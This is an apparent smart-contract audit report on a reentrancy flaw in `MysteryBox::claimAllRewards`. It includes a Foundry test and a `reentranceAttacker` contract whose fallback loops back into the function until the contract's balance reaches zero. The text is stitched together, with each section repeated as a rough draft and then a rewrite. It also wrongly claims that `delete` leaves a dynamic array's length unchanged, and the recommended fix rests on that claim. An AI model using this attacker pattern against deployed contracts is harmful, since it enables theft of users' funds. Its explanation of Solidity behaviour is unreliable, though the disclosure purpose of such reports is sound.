## Summary The `MysteryBox::claimAllRewards` function contains an external low level call which can be used by a malicious contract to reenter the same function adn drain all the funds of the contract.
## Vulnerability Details The `MysteryBox::claimAllRewards` function contains an external low level call to send the rewards to the player. This function doesn't follow Checks Effects Interactiosn pattern. After the call is made, the corresponding `rewardsOwned` mapping is updated with `delete` keyword deleting the rewards owned by the particular address. `delete` keyword only resets the corresponding value of the key in the mapping. This does not change the length of the corresponding dynamic array. Moreover same dynamic array can be deleted as many times without any revert as the keyword `delete` only resets the correspondind dynamic array.
## Summary
The `MysteryBox::claimAllRewards` function contains a vulnerability that allows a malicious contract to exploit reentrancy, potentially draining all the funds in the contract. This issue arises due to the use of an external low-level call combined with improper handling of the user's rewards array, making it susceptible to reentrancy attacks.
## Vulnerability Details
The `MysteryBox::claimAllRewards` function makes an external low-level call to transfer rewards to the player. However, this function does not follow the Checks-Effects-Interactions (CEI) pattern, which is a best practice for preventing reentrancy attacks. After the external call is made, the contract attempts to delete the player's rewards using the `delete` keyword.
While the `delete` keyword resets the values in the mapping, it does not remove the elements from the corresponding dynamic array of rewards. This allows the array to remain in place, and a malicious contract can repeatedly call the function and exploit this vulnerability to reenter the `claimAllRewards` function before the rewards are fully deleted, draining the contract’s funds.
Additionally, since `delete` only resets the contents of the dynamic array without changing its length, it can be deleted multiple times without triggering any errors or reverts. This makes the contract vulnerable to multiple reentrancy loops, allowing the attacker to drain funds incrementally.
```javascript
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
```
## Impact All the above facts about the protocol can be used to reenter through that external call in the `MysteryBox::claimAllRewards` function into the same function until enpough external calls are made and the whole protocol is drained out of its funds.particularly as the `MysteryBox::openBox` can be front run, a malicious player can make sure that he gets a reward of `0.1 ether` and most probably the whole protocol's balance is a multiple of `0.1 ether` at any stage, he can reenter and drain the funds out of the protocol.
## Tools Used
The following proof code has been used to test the same using foundry. A contract similar to `reentranceAttacker` can be used to drain all the funds out of the protocol.
## Impact
The described vulnerability allows an attacker to repeatedly reenter the `MysteryBox::claimAllRewards` function through the external low-level call. By reentering the function multiple times before the user's rewards are properly removed, the attacker can drain the entire balance of the protocol.
Additionally, as the `MysteryBox::openBox` function can be front-run, a malicious player could ensure that they repeatedly receive rewards of `0.1 ether`. Since the protocol’s balance may likely be a multiple of `0.1 ether` at any given stage, the attacker can reenter the function and continually drain funds from the contract. Over time, this could result in the complete depletion of the protocol’s funds.
## Tools Used
The following proof of concept has been tested using Foundry. A contract similar to a `ReentranceAttacker` can be used to exploit the reentrancy vulnerability and drain all the funds from the protocol. The attack leverages repeated reentrance into the `claimAllRewards` function until the entire balance of the protocol is exhausted.
<details>
<summary>code</summary>
Add the following code to a file named in the format `<filename>.t.sol` in the foundry project's test folder and run it.
```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console2} from "../lib/forge-std/src/Test.sol"; // Import Foundry's console utility for logging
import "../lib/forge-std/src/Test.sol"; // Import Foundry's Test contract for testing functionality
import "../src/MysteryBox.sol"; // Import the MysteryBox contract to be tested
// Main test contract to simulate the reentrancy attack on the MysteryBox contract
contract MysteryBoxTest is Test {
MysteryBox public mysteryBox; // Instance of the MysteryBox contract
reentranceAttacker public reEnterer; // Instance of the reentrance attacker contract
address public owner; // Address of the contract owner
address public user1; // Dummy user1 for testing
address public user2; // Dummy user2 for testing
// Setup function to initialize state before tests are run
function setUp() public {
owner = makeAddr("owner"); // Assign an address to the owner
vm.deal(owner, 100 ether); // Provide the owner with 100 ether for testing purposes
user1 = address(0x1); // Set up a dummy user1 address
user2 = address(0x2); // Set up a dummy user2 address
// Deploy the MysteryBox contract from the owner's address with 10 ether
vm.prank(owner);
mysteryBox = new MysteryBox{value: 10 ether}();
// Deploy the reentrance attacker contract linked to the MysteryBox contract
reEnterer = new reentranceAttacker(address(mysteryBox));
// Fund the reentrance attacker contract with 1 ether to start the attack
reEnterer.deposit{value: 1 ether}();
}
// Test case to simulate the reentrancy attack by exploiting claimAllRewards
function testReentranceInClaimAllRewards() public {
// Flag to track if a favorable block timestamp is found
bool found = false;
uint256 timestamp = block.timestamp;
// Find a favorable timestamp that generates a reward within the target range (75-95)
while (!found) {
// Simulate the random value generated by MysteryBox's randomness
uint256 pseudoRandomValue = uint256(keccak256(abi.encodePacked(timestamp, address(reEnterer)))) % 100;
// Look for a reward that falls within the specified range (e.g., a Bronze Coin reward)
if (pseudoRandomValue > 75 && pseudoRandomValue < 95) {
found = true; // Mark that a favorable timestamp is found
} else {
timestamp++; // Increment the timestamp to check the next possible value
}
}
// Warp to the favorable timestamp to control the randomness
vm.warp(timestamp);
// Simulate the reentrance attacker buying and opening a mystery box
reEnterer.buyAndOpenReward();
// Start the reentrancy attack by claiming all rewards
reEnterer.claimAllRewards();
// Check if the MysteryBox contract's balance has been drained to 0
uint256 balanceAfter = address(mysteryBox).balance;
assertEq(balanceAfter, 0); // Assert that the contract's balance is 0 after the attack
}
}
// Contract representing a reentrance attacker that exploits the MysteryBox contract
contract reentranceAttacker {
MysteryBox mysteryBoxInstance; // Instance of the linked MysteryBox contract
bool counter = false; // A flag to control the loop (not used in this implementation)
// Constructor to set the MysteryBox contract address
constructor(address changed) {
mysteryBoxInstance = MysteryBox(changed); // Link the deployed MysteryBox contract
}
// Function to simulate the attacker buying and opening a reward from the MysteryBox
function buyAndOpenReward() public {
// Buy a mystery box from the MysteryBox contract by sending 0.1 ether
mysteryBoxInstance.buyBox{value: 0.1 ether}();
// Open the mystery box to receive the reward
mysteryBoxInstance.openBox();
}
// Function to start the reentrance attack by claiming all rewards
function claimAllRewards() public {
mysteryBoxInstance.claimAllRewards(); // Call the vulnerable claimAllRewards function in the MysteryBox contract
}
// Function to deposit ether into the attacker contract (used in setup)
function deposit() public payable {
require(msg.value > 0, "No ether sent"); // Ensure that some ether is deposited
}
// Fallback function triggered when the MysteryBox sends ether during the claimAllRewards function
fallback() external payable {
// Reenter the claimAllRewards function as long as the MysteryBox contract has a balance
while (address(mysteryBoxInstance).balance / msg.value != 0) {
mysteryBoxInstance.claimAllRewards(); // Reenter the function, draining the contract's funds
}
}
}
```
</details>
## Recommendations
The `MysteryBox::claimAllRewards` can be modified as follows to mitigate the above said vulnerability. Rather than `deleting` the dynamic array , pop method must be used to remove each element off the array until it is empty. Secondly, doing this before the interaction with player's address with alower level call adheres to the CEI standard and prevents Reentrancy.
```diff
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
+ uint256 length = rewardsOwned[msg.sender].length;
+ for (uint256 i = 0; i<length ; i++) {
+ rewardsOwned[msg.sender].pop();
+ }
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
```